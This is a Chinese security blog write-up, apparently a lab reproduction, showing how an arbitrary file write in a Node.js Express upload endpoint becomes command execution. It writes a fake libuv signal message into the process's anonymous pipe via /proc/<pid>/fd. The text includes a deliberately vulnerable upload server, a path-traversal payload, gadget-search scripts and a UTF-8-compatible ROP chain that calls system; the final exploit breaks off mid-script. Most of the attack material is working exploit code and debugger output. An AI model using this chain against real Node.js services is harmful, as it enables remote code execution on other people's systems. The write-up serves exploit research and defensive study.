nodejs-从任意文件写到命令执行

环境搭建

本地环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
测试环境:
系统:Ubuntu20.04
node v22.11.0

安装nodejs
# 更新系统包管理器
sudo apt update

# 移除旧版本的 Node.js
sudo apt remove nodejs

# 添加 NodeSource 仓库
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -

# 安装 Node.js v22
sudo apt install -y nodejs

# 验证是否安装成功
node -v

# 如果需要更新 npm
sudo npm install -g npm@latest
配置启动nodejs
# 创建进入活动目录
mkdir nodejs
cd nodejs

# 创建 package.json 文件
npm init -y

# 安装 Express
npm install express

# 创建上传目录
mkdir uploads

# 创建 JavaScript 文件
vim index.js
"""
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();

app.use(express.json());

app.post('/upload', (req, res) => {
const { filename, content } = req.body;

if (!filename || !content) {
return res.status(400).json({ message: 'Filename and content are required!' });
}

const filePath = path.join(__dirname, 'uploads', filename);

fs.writeFile(filePath, content, (err) => {
if (err) {
return res.status(500).json({ message: 'Error saving file!' });
}
res.json({ message: 'File uploaded successfully!', path: filePath });
});
});

app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});
"""

# 启动node
node index.js

# 测试 API
客户端向 http://localhost:3000/upload 发送 POST 请求来测试文件上传。请求的 JSON 格式应类似于:
{
"filename": "test.txt",
"content": "This is a test file content."
}
确保请求头部的 Content-Type 设置为 application/json。如果上传成功,您将收到 JSON 响应,确认文件已成功上传。
"""
import requests
import json

# 定义目标 URL
url = 'http://localhost:3000/upload'

# 构造数据包
data = {
"filename": "test.txt",
"content": "This is a test file content."
}

# 发送 POST 请求
response = requests.post(url, json=data)

# 打印响应
print("Status Code:", response.status_code)
print("Response JSON:", response.json())
"""

docker环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# 创建 package.json 文件
npm init -y

# 安装 Express
npm install express

# 创建 Dockerfile
"""
# 使用 Node.js 22.11.0 作为基础镜像
FROM node:22.11.0

# 安装 Python3 环境
RUN apt-get update && \
apt-get install -y python3 && \
rm -rf /var/lib/apt/lists/*

# 拷贝本地的 gdbserver 到容器的 /usr/local/bin 目录
COPY gdbserver /usr/local/bin/gdbserver
RUN chmod +x /usr/local/bin/gdbserver

# 设置工作目录
WORKDIR /app

# 复制 package.json 和 package-lock.json
COPY package*.json ./

# 安装 Node.js 依赖
RUN npm install

# 复制应用程序的源代码
COPY . .

# 暴露应用程序的端口
EXPOSE 3000

# 设置默认入口为 shell
CMD ["/bin/bash"]
"""

# 创建 JavaScript 文件
vim index.js
"""
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();

app.use(express.json());

app.post('/upload', (req, res) => {
const { filename, content } = req.body;

if (!filename || !content) {
return res.status(400).json({ message: 'Filename and content are required!' });
}

const filePath = path.join(__dirname, 'uploads', filename);

fs.writeFile(filePath, content, (err) => {
if (err) {
return res.status(500).json({ message: 'Error saving file!' });
}
res.json({ message: 'File uploaded successfully!', path: filePath });
});
});

app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});
"""

# 构建 Docker 镜像
docker build -t my-node .

# 运行 Docker 容器
docker run --privileged -p 3000:3000 -p 1234:1234 -v $(pwd)/123:/app/shared -it my-node

配置调试环境

docker容器

1
2
3
4
5
6
7
8
9
10
root@196d69441a97:/app# node index.js 
Server running on http://localhost:3000

root@196d69441a97:/app# ps aux | grep node
root 17 0.4 1.4 1007156 57404 pts/0 Sl+ 03:04 0:00 node index.js
root 26 0.0 0.0 3324 1572 pts/1 S+ 03:04 0:00 grep node
root@196d69441a97:/app# gdbserver :1234 --attach 17
Attached; pid = 17
Listening on port 1234
Remote debugging from host 172.17.0.1

Ubuntu系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@key:/home/key/Desktop/nodejs/123# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
196d69441a97 my-node "docker-entrypoint.s…" About a minute ago Up About a minute 0.0.0.0:1234->1234/tcp, :::1234->1234/tcp, 0.0.0.0:3000->3000/tcp, :::3000->3000/tcp wizardly_allen
root@key:/home/key/Desktop/nodejs/123# docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' 196d69441a97
172.17.0.2
root@key:/home/key/Desktop/nodejs/123# gdb-multiarch
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.2) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
pwndbg: loaded 148 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
------- tip of the day (disable with set show-tips off) -------
Pwndbg mirrors some of Windbg commands like eq, ew, ed, eb, es, dq, dw, dd, db, ds for writing and reading memory
pwndbg> file node
Reading symbols from node...
pwndbg> target remote 172.17.0.2:1234

漏洞分析

任意文件写漏洞分析

app.js文件中filenamecontent全是来自请求中的body内容,导致任意文件写漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.post('/upload', (req, res) => {
const { filename, content } = req.body;

if (!filename || !content) {
return res.status(400).json({ message: 'Filename and content are required!' });
}

const filePath = path.join(__dirname, 'uploads', filename);

fs.writeFile(filePath, content, (err) => {
if (err) {
return res.status(500).json({ message: 'Error saving file!' });
}
res.json({ message: 'File uploaded successfully!', path: filePath });
});
});

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import json

# 定义目标 URL
url = 'http://localhost:3000/upload'

# 构造数据包
data = {
"filename": "../zzz/test.txt",
"content": "This is a test file content."
}

# 发送 POST 请求
response = requests.post(url, json=data)

# 打印响应
print("Status Code:", response.status_code)
print("Response JSON:", response.json())

一般从任意文件写到命令执行思路

  • 将 PHP、JSP、ASPX 或类似文件写入 Web 根目录。
  • 覆盖由服务器端模板引擎处理的模板文件。
  • 写入配置文件(例如,uWSGI .ini 文件或 Jetty .xml 文件)。
  • 添加一个 Python 站点特定的配置钩子。
  • 通过写入 SSH 密钥、添加 cron 作业或覆盖用户的 .bashrc 文件来使用通用方法。

Read-only file system

在一些Linux或类Linux系统中,可能是只读文件系统,只有tmp目录具有可写权限,此时任意文件写入漏洞是否可能转化为代码执行?(剧透一下是完全可以的)

在基于 Unix 的系统(如 Linux)上,一切都是文件。与传统的文件系统(如 ext4,它在物理硬盘上存储数据)不同,还有其他文件系统用于不同的目的。其中之一是 procfs 虚拟文件系统,通常挂载在 /proc 目录下,作为内核内部工作原理的窗口。procfs 不存储实际的文件,而是提供关于正在运行的进程、系统内存、硬件配置等实时信息的访问。

procfs 提供的一个特别有趣的信息是正在运行的进程的打开文件描述符,可以通过 /proc//fd/ 来检查。进程打开的文件不仅可以是传统文件,还可以是设备文件、套接字和管道。例如,以下命令可以用来列出 Node.js进程的打开文件描述符:/proc//fd/

img

从上面的输出可以看到,这还包括匿名管道(例如,pipe:[131298])。与在文件系统上以命名文件形式暴露的命名管道不同,由于缺乏引用,通常无法写入匿名管道。然而,procfs 文件系统允许我们通过其在 /proc//fd/ 中的条目引用该管道。与 procfs 下的其他文件相比,这种文件写入不需要根权限,可以由运行 Node.js 应用程序的低权限用户执行。

1
user@host:~$ echo hello > /proc/`pidof node`/fd/5

即使 procfs 被以只读方式挂载(例如在 Docker 容器中),也可以写入管道,因为管道由一个名为 pipefs 的独立文件系统处理,该文件系统在内核内部使用。

这为攻击者揭示了新的攻击面:能够写入任意文件的攻击者可以向从匿名管道读取数据的事件处理程序提供数据。

Node.js and Pipes

Node.js 基于 V8 JavaScript 引擎构建,该引擎是单线程的。然而,Node.js 提供了异步且非阻塞的事件循环。为此,它使用了一个名为 libuv 的库。该库利用匿名管道来发信号并处理事件,正如我们在上面的输出中通过 procfs 所看到的那样。

Node.js 应用程序存在文件写入漏洞时,没有任何机制阻止攻击者向这些管道写入数据,因为运行应用程序的用户对这些管道具有写权限。那么,写入管道的数据会发生什么呢?

在审查相关的 libuv 源代码时,一个名为 uv__signal_event 的处理程序引起了我们的注意。它假定从管道中读取的数据为 uv__signal_msg_t 类型的消息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static void uv__signal_event(uv_loop_t* loop,
uv__io_t* w,
unsigned int events) {
uv__signal_msg_t* msg;
// [...]

do {
r = read(loop->signal_pipefd[0], buf + bytes, sizeof(buf) - bytes);
// [...]

for (i = 0; i < end; i += sizeof(uv__signal_msg_t)) {
msg = (uv__signal_msg_t*) (buf + i);
handle = msg->handle;

if (msg->signum == handle->signum) {
assert(!(handle->flags & UV_HANDLE_CLOSING));
handle->signal_cb(handle, handle->signum);
}
// [...]

该数据结构仅包含两个成员:一个指针 handle 和一个名为 signum 的整数。

1
2
3
4
typedef struct {
uv_signal_t* handle;
int signum;
} uv__signal_msg_t;

该指针的类型是数据结构 uv_signal_t 的类型定义,它包含一个特别有趣的成员 signal_cb

1
2
3
4
5
6
7
8
typedef struct uv_signal_s uv_signal_t;
struct uv_signal_s {
UV_HANDLE_FIELDS
uv_signal_cb signal_cb;
int signum;
UV_SIGNAL_PRIVATE_FIELDS
};
typedef void (*uv_signal_cb)(uv_signal_t* handle, int signum);

该成员是一个函数指针,通常包含回调函数的地址。当两个数据结构中的 signum 值匹配时,该回调函数会在事件处理程序中被调用。

注:其中msguv__signal_msg_t结构体指针,handleuv_signal_s指针

1
2
3
4
5
6
7
8
// [...]
msg = (uv__signal_msg_t*) (buf + i);
handle = msg->handle;

if (msg->signum == handle->signum) {
assert(!(handle->flags & UV_HANDLE_CLOSING));
handle->signal_cb(handle, handle->signum);
}

下图展示了事件处理程序所期望的数据结构:

img

该报告被关闭为信息性。这意味着我们在接下来的章节中描述的技术仍适用于最新版本的 Node.js,并且这种情况在不久的将来可能不会改变。

构建结构体

攻击者利用文件写入漏洞来利用事件处理程序的一般策略可能如下:

  • 向管道写入一个虚假的数据结构 uv_signal_s,将函数指针 signal_cb 设置为希望调用的任意地址。
  • 向管道写入另一个虚假的数据结构 uv__signal_msg_t,将 handle 设置为指向之前写入的数据结构的指针 uv_signal_s
  • 将两个数据结构体的signum设置为相同的值 。
  • 实现任意代码执行。

假设攻击者只能写入文件,所有这些都需要在一次写入中完成,而不能事先读取任何内存。

事件处理程序的缓冲区相当大,这使得攻击者可以轻松地将两个数据结构写入管道。然而,有一个障碍:数据结构的地址是未知的,因为所有写入管道的数据都存储在栈上。

img

因此,攻击者将无法使指针handle引用虚假的数据结构uv_signal_s。这引出了一个问题:攻击者是否有任何数据可以引用?

栈、堆以及所有库的地址都是通过地址空间布局随机化(ASLR)进行随机化的。然而,Node.js 二进制文件本身的段则不是。令人惊讶的是,官方 Linux Node.js 并未启用位置无关可执行文件(PIE):

img

显然,这种情况是出于性能考虑,因为 PIE 的间接寻址会增加一些小的开销。对于攻击者来说,这意味着他们可以引用 Node.js 段中的数据,因为该地址是已知的:

注:此时只发送一个uv__signal_msg_t结构体,并将handle 设置指向uv_signal_s结构体,而uv_signal_s结构体是在node程序中找的,不是我们发送的数据

img

下一个问题是:攻击者如何能在 Node.js 段中存储虚假的uv_signal_s结构体?寻找让 Node.js 将攻击者控制的数据存储在静态位置(例如,从 HTTP请求中读取的数据)的方法是一种方法,但这似乎相当具有挑战性。

一种更简单的方法是直接利用已经存在的内容。通过检查 Node.js 的内存段,攻击者可能能够识别出适合用于虚假结构的数据。

攻击者理想的数据结构可能类似于以下内容:

img

这个数据结构以一个命令字符串(system)开头,后面是一个地址,位于正确的偏移量,以与函数指针重叠。攻击者只需要使这个值与假数据结构匹配,从而调用回调函数,有效地执行命令 system("touch /tmp/pwned")

这种方法要求在 Node.js 段中存在 system 的地址。全局偏移表(GOT)通常是一个候选项。然而,Node.js 并没有使用 system 函数,因此它的地址并不在 GOT 中。即使存在,生成的假数据结构的开头很可能是 GOT 中的另一个条目,而不是一个有用的命令字符串。因此,另一种方法似乎更可行:经典的 ROP 链。

搜索gadget

每个 ROP 链的开始是搜索有用的 ROP 小工具。一个搜索 ROP 小工具的工具通常会解析磁盘上的 ELF 文件,然后确定所有可执行部分。.text 段通常是最大的可执行部分,因为它存储了程序本身的指令。

img

现在,该工具遍历此段中的字节并查找 ret 指令,例如,因为这是 ROP 小工具的合适最后一条指令。然后,工具从表示该指令的字节向后逐字节地查找,以确定所有可能有用的 ROP 小工具。

img

然而,在这种情况下,这并不是攻击者所需要的。攻击者需要的是一个引用假数据结构的地址,而这个虚假的uv_signal_s结构体通过signal_cb函数指针引用一个 ROP 小工具。因此,这里有一个间接性:ROP 小工具(指令序列的地址)需要存储在被引用的数据本身中。

img

为了识别像这样的合适数据结构,攻击者需要通过 Node.js 映像进行搜索,类似于经典的 ROP 小工具查找工具。然而,区别在于攻击者不仅对可执行部分(如 .text 段)感兴趣。假数据结构所在的内存不必是可执行的。攻击者需要的是指向小工具的指针。因此,他们可以考虑所有至少可读的段。此外,这个搜索可以在内存中进行,而不仅仅是解析磁盘上的 ELF 文件。通过这种方式,攻击者还可以找到在运行时仅创建的数据结构,例如在 .bss 段中。这可能会导致误报或特定于环境的结构,但增加了他们获得有用发现的机会,这些发现可以手动验证。

这种针对假数据结构的内存搜索的基本实现实际上非常简单:

1
2
3
4
5
6
7
8
for addr, len in nodejs_segments:
for offset in range(len - 7):
ptr = read_mem(addr + offset, 8)
if is_mapped(ptr) and is_executable(ptr):
instr = read_mem(ptr, n)
if is_useful_gadet(instr):
print('gadget at %08x' % addr + offset)
print('-> ' + disassemble(instr))

Python 脚本遍历所有 Node.js 内存区域,每次解析 8 个字节作为一个指针,并尝试引用该指针。如果地址已映射并引用了可执行段中的内存,则它会判断存储在该地址的字节序列是否是有用的 ROP 小工具:

img

这是 Python 脚本的实际效果:

img

所有潜在有用的 ROP 小工具都被输出,并且现在可以用作在调用回调函数时执行的第一个初始 ROP 小工具。由于所有写入管道的数据都存储在栈上,因此找到一个合适的支点小工具用于第一个小工具就足够了。一旦攻击者将栈指针指向受控数据,就可以使用经典的 ROP 链:

img

使用此技术利用任意文件漏洞时,有一个注意事项。通常,写入文件的函数(在本例中为 fs.writeFile)仅限于有效的 UTF-8 数据。因此,写入管道的所有数据必须是有效的 UTF-8

克服 UTF-8 限制

由于 Node.js 二进制文件的巨大尺寸(最新 x64 构建约为 110M),寻找适用于经典 ROP 链的有用 UTF-8 兼容小工具并不困难。然而,这一限制进一步限制了现有数据中适合伪造数据结构的潜在选择。因此,需要在脚本中添加额外的检查,以验证伪造数据结构的基地址是否为有效的 UTF-8

1
2
3
4
5
for addr, len in nodejs_segments:
for offset in range(len - 7):
if not is_valid_utf8(addr + offset - 0x60): continue
ptr = read_mem(addr + offset, 8)
# [...]

即使进行了此额外检查,该脚本仍会生成合适的假数据结构,这些结构引用了如下所示的可旋转小工具:

1
2
3
...
0x4354ca1 -> 0x12d0000: pop rsi; pop r15; pop rbp; ret
...

这是相关数据结构在内存中的样子:

img

这个伪造uv_signal_s结构体的基地址0x4354c41是有效的 UTF-8,因此数据结构中的指针可以正确填充。然而,还有signumUTF-8 相关的问题。

img

signum 值的最后一个字节是 0xf0,这不是有效的 UTF-8。如果攻击者尝试通过文件写入漏洞写入这个字节,它将被替换为替换字符,从而导致值检查失败。如果我们在 UTF-8 可视化工具中输入,我们可以看到这个字节引入了一个 4 字节的 UTF-8 序列:0xf0

img

因此,UTF-8 解析器期望在这个字节之后有3个续字符字节。由于数据结构包含一个8字节的指针和一个4字节的整数,编译器会添加4个额外的填充字节,以将结构对齐到16字节。这些字节可以用来添加3个续字符字节,从而构造一个有效的UTF-8序列:uv__signal_msg_t

img

例如,上面的软盘是一个有效的4字节 UTF-8 序列,以 0xf0 开头。通过添加这些续字符字节,攻击者可以满足整个有效负载为有效 UTF-8 的要求,并使这两个值匹配:signum

img

随着最后一个障碍的消除,攻击者能够获得远程代码执行权限。

以下视频演示了针对脆弱示例应用程序的利用,该应用程序以低权限用户身份在具有只读根文件系统和只读 **procfs **的系统上运行:

Demonstration of File Write vulnerability on a test instance

漏洞调试

书接上回

当配置gdb调试环境后,首先先dump内存

img

1
2
3
4
5
6
7
dump memory mem1 0x400000 0xe0a000
dump memory mem2 0xe0a000 0xe0d000
dump memory mem3 0xe0e000 0x3005000
dump memory mem4 0x3200000 0x3201000
dump memory mem5 0x3201000 0x64a3000
dump memory mem6 0x64a3000 0x64a7000
dump memory mem7 0x64a7000 0x64d1000

利用python脚本寻找合适的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/usr/bin/env python3
from pwn import *

def is_valid_utf8(byte_seq):
try:
byte_seq.decode('utf-8')
return True
except UnicodeDecodeError:
return False

"""
dump memory mem1 0x400000 0xe0a000
dump memory mem2 0xe0a000 0xe0d000
dump memory mem3 0xe0e000 0x3005000
dump memory mem4 0x3200000 0x3201000
dump memory mem5 0x3201000 0x64a3000
dump memory mem6 0x64a3000 0x64a7000
dump memory mem7 0x64a7000 0x64d1000
"""

def read_mem(addr, size):
if 0x400000 < addr < 0xe0a000:
base = 0x400000
data = mem1[addr - base: addr + size - base]
elif 0xe0a000 < addr < 0xe0d000:
base = 0xe0a000
data = mem2[addr - base: addr + size - base]
elif 0xe0e000 < addr < 0x3005000:
base = 0xe0e000
data = mem3[addr - base: addr + size - base]
elif 0x3200000 < addr < 0x3201000:
base = 0x3200000
data = mem4[addr - base: addr + size - base]
elif 0x3201000 < addr < 0x64a3000:
base = 0x3201000
data = mem5[addr - base: addr + size - base]
elif 0x64a3000 < addr < 0x64a7000:
base = 0x64a3000
data = mem6[addr - base: addr + size - base]
elif 0x64a7000 < addr < 0x64d1000:
base = 0x64a7000
data = mem7[addr - base: addr + size - base]
else:
return None
return data

def is_useful_gadget(out):
dis_list = out.split('\n')
for n, x in enumerate(dis_list):
if x == 'ret':
for _ in range(0, n):
if 'bad' in dis_list[_]:
return False
return True
return False

# 读取内存文件
with open("mem1", "rb") as f:
mem1 = f.read()

with open("mem2", "rb") as f:
mem2 = f.read()

with open("mem3", "rb") as f:
mem3 = f.read()

with open("mem4", "rb") as f:
mem4 = f.read()

with open("mem5", "rb") as f:
mem5 = f.read()

with open("mem6", "rb") as f:
mem6 = f.read()

with open("mem7", "rb") as f:
mem7 = f.read()

segments = [
(0x400000, 0xe0a000 - 0x400000),
(0xe0a000, 0xe0d000 - 0xe0a000),
(0xe0e000, 0x3005000 - 0xe0e000),
(0x3200000, 0x3201000 - 0x3200000),
(0x3201000, 0x64a3000 - 0x3201000),
(0x64a3000, 0x64a7000 - 0x64a3000),
(0x64a7000, 0x64d1000 - 0x64a7000)
]

# 将输出写入文件
with open("output.txt", "w") as output_file:
for addr, length in segments:
for offset in range(length - 4):
handle = addr + offset
if not is_valid_utf8(p64(handle - 0x60)):
continue
signum = read_mem(handle + 8, 4)
if not is_valid_utf8(signum):
continue
ptr = read_mem(handle, 8)
data = read_mem(u64(ptr), 30)
if data is None:
continue
out = disasm(data, arch='amd64', byte=False, offset=False)
if is_useful_gadget(out):
if "pop rbp" in out or "leave" in out:
output_file.write(f'handle {hex(handle)} -> ptr: {u64(ptr)} signum {hex(u32(signum))}\n')
output_file.write(out + '\n')

最终找到一条合格的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
handle 0x3b49a48 -> ptr: 27902480 signum 0x1a9c210
mov edx, esi
mov rdi, r12
mov esi, 0x3b498f7
call 0xffffffffffffff20
add rsp, 0x70
xor eax, eax
pop rbx
pop r12
pop r13
pop r14
pop rbp
ret

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
import json
import requests
from urllib.parse import quote

content = p64(0x3b49a48 - 0x60) + p64(0x1a9c210) + b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'

a = content.decode('utf-8')
print(f"content: {content}")
data = {'filename':"../../../../proc/98/fd/11","content":content.decode('utf-8')}

#print(json.dumps(data))
resp = requests.post("http://172.17.0.2:3000/upload",data = json.dumps(data),headers = {"Content-Type":"application/json"})

11通道读取0x200个字符

img

可以看到可以控制rbxr12r13r14rbprip寄存器

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pwndbg> i r
rax 0x0 0
rbx 0x616161616161616c 7016996765293437292
rcx 0x1a9c210 27902480
rdx 0x3b498f7 62167287
rsi 0x1a9c1e0 27902432
rdi 0x3b499e8 62167528
rbp 0x6161616161616170 0x6161616161616170
rsp 0x7f310e19bdd0 0x7f310e19bdd0
r8 0x3b498f7 62167287
r9 0x6356 25430
r10 0x7ffc91646090 140722747760784
r11 0x246 582
r12 0x616161616161616d 7016996765293437293
r13 0x616161616161616e 7016996765293437294
r14 0x616161616161616f 7016996765293437295
r15 0x0 0
rip 0x1a9c22d 0x1a9c22d <v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::ConstantExpressionInterface, (v8::internal::wasm::DecodingMode)1>::DecodeStringRefOpcode(v8::internal::wasm::WasmOpcode, unsigned int)+221>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
k0 0x21008000 553680896
k1 0xff7ffbff 4286577663
k2 0xff7ffbff 4286577663
k3 0x0 0
k4 0x0 0
k5 0x0 0
k6 0x0 0
k7 0x0 0

exp

由于程序本身没有 systempopen 等函数的调用 ,所以不可以直接 ret2text, 思路简单定成如下:

  • 找到一个 gadget 能将cmd写到bss段中
  • 找到一个 gadget 能从任意地址读取值, 然后赋值到某个寄存器上
  • 找到一个gadget 能对可控的寄存器进行加减法运算
  • 找到一个 libc 函数, 该函数与 system 的偏移满足 UTF-8 编码

首先利用python脚本筛选出所有gadget地址满足utf-8的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# ROPgadget --binary node > gadgets
from pwn import *

def is_valid_utf8(byte_seq):
try:
byte_seq.decode('utf-8')
return True
except UnicodeDecodeError:
return False

lines = [line.replace('\n', '') for line in open('./gadgets', 'r').readlines()]
lines = list(filter(lambda line: ' : ' in line, lines))
lines = list(map(lambda line: line.split(' : '), lines))

result = list(filter(lambda l: is_valid_utf8(p64(int(l[0], 16))), lines))

# 将输出保存到文件 output.txt 中
with open('out.txt', 'w') as f:
for i in result:
f.write(f"{i[0]} : {i[1]}\n")

思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
0x0000000002780d6d : pop rax ; sal edx, 0xf ; pop rcx ; ret
0x0000000001526e68 : mov qword ptr [rax], rcx ; pop rbx ; pop r12 ; pop rbp ; ret
0x00000000029088e6 : pop rdi ; adc al, 0xe8 ; ret
0x00000000011b6524 : mov rax, qword ptr [rax] ; ret
0x00000000016e1c42 : add rax, rcx ; ret
0x0000000002237647 : mov edx, 1 ; jmp rax
.got:00000000064A6048 __assert_fail_ptr dq offset __assert_fail
system_addr - __assert_fail_addr = 0x17620

pop_rax_rcx_ret = 0x0000000002780d6d
mov_rax_rcx_pop_rbx_r12_rbp_ret = 0x0000000001526e68
pop_rdi_ret = 0x00000000029088e6
mov_rax_rax_ret = 0x00000000011b6524
add_rax_rcx_ret = 0x00000000016e1c42
jmp_rax = 0x0000000002237647
__assert_fail_got = 0x00000000064A6048
bss_addr = 0x00000000064D1060

content = p64(0x3b49a48 - 0x60) + p64(0x1a9c210) + b'a'*0x80
content += p64(pop_rax_rcx_ret) + p64(bss_addr) + p64(cmd)
content += p64(mov_rax_rcx_pop_rbx_r12_rbp_ret) + p64(rbx) + p64(r12) + p64(rbp)
... ...
content += p64(pop_rax_rcx_ret) + p64(bss_addr) + p64(cmd)
content += p64(mov_rax_rcx_pop_rbx_r12_rbp_ret) + p64(rbx) + p64(r12) + p64(rbp)
content += p64(pop_rdi_ret) + p64(bss_addr)
content += p64(pop_rax_rcx_ret) + p64(__assert_fail_got) + p64(0x17620)
content += p64(mov_rax_rax_ret)
content += p64(add_rax_rcx_ret)
content += p64(jmp_rax)

测试exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import json
import requests
from urllib.parse import quote

pop_rax_rcx_ret = 0x0000000002780d6d
mov_rax_rcx_pop_rbx_r12_rbp_ret = 0x0000000001526e68
pop_rdi_ret = 0x00000000029088e6
mov_rax_rax_ret = 0x00000000011b6524
add_rax_rcx_ret = 0x00000000016e1c42
jmp_rax = 0x0000000002237647
__assert_fail_got = 0x00000000064A6048
bss_addr = 0x00000000064D1060

content = p64(0x3b49a48 - 0x60) + p64(0x1a9c210) + b'a'*0x80
content += p64(pop_rax_rcx_ret) + p64(bss_addr) + p64(0x742F206863756F74)
content += p64(mov_rax_rcx_pop_rbx_r12_rbp_ret) + p64(0x4141414141414141) + p64(0x4141414141414141) + p64(0x4141414141414141)
content += p64(pop_rax_rcx_ret) + p64(bss_addr+8) + p64(0x3B67616C662F706D)
content += p64(mov_rax_rcx_pop_rbx_r12_rbp_ret) + p64(0x4141414141414141) + p64(0x4141414141414141) + p64(0x4141414141414141)
content += p64(pop_rdi_ret) + p64(bss_addr)
content += p64(pop_rax_rcx_ret) + p64(__assert_fail_got) + p64(0x17620)
content += p64(mov_rax_rax_ret)
content += p64(add_rax_rcx_ret)
content += p64(jmp_rax)

a = content.decode('utf-8')
print(f"content: {content}")
data = {'filename':"../../../../proc/82/fd/11","content":content.decode('utf-8')}

#print(json.dumps(data))
resp = requests.post("http://172.17.0.2:3000/upload",data = json.dumps(data),headers = {"Content-Type":"application/json"})

可以看到已经将rdi指向了cmd地址,跳转到system函数

img

但在system函数中,发生了崩溃,崩溃原因:内存对齐问题movaps 要求目标内存地址必须是 16 字节对齐的。如果 [rsp + 0x50] 的地址(即 0x7f0243579b38)不是 16 字节对齐,那么执行 movaps 就会导致崩溃。

img

解决栈对齐问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0x0000000002780d6d : pop rax ; sal edx, 0xf ; pop rcx ; ret
0x0000000001526e68 : mov qword ptr [rax], rcx ; pop rbx ; pop r12 ; pop rbp ; ret
0x00000000029088e6 : pop rdi ; adc al, 0xe8 ; ret
0x00000000011b6524 : mov rax, qword ptr [rax] ; ret
0x00000000016e1c42 : add rax, rcx ; ret
0x0000000002564072 : xor r14b, r14b ; ret
0x0000000002237647 : mov edx, 1 ; jmp rax
.got:00000000064A6048 __assert_fail_ptr dq offset __assert_fail
system_addr - __assert_fail_addr = 0x17620

pop_rax_rcx_ret = 0x0000000002780d6d
mov_rax_rcx_pop_rbx_r12_rbp_ret = 0x0000000001526e68
pop_rdi_ret = 0x00000000029088e6
mov_rax_rax_ret = 0x00000000011b6524
add_rax_rcx_ret = 0x00000000016e1c42
xor_r14b_ret = 0x0000000002564072
jmp_rax = 0x0000000002237647
__assert_fail_got = 0x00000000064A6048
bss_addr = 0x00000000064D1060

content = p64(0x3b49a48 - 0x60) + p64(0x1a9c210) + b'a'*0x80
content += p64(pop_rax_rcx_ret) + p64(bss_addr) + p64(cmd)
content += p64(mov_rax_rcx_pop_rbx_r12_rbp_ret) + p64(rbx) + p64(r12) + p64(rbp)
... ...
content += p64(pop_rax_rcx_ret) + p64(bss_addr) + p64(cmd)
content += p64(mov_rax_rcx_pop_rbx_r12_rbp_ret) + p64(rbx) + p64(r12) + p64(rbp)
content += p64(pop_rdi_ret) + p64(bss_addr)
content += p64(pop_rax_rcx_ret) + p64(__assert_fail_got) + p64(0x17620)
content += p64(mov_rax_rax_ret)
content += p64(add_rax_rcx_ret)
content += p64(xor_r14b_ret)
content += p64(jmp_rax)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
import json
import requests
from urllib.parse import quote

pop_rax_rcx_ret = 0x0000000002780d6d
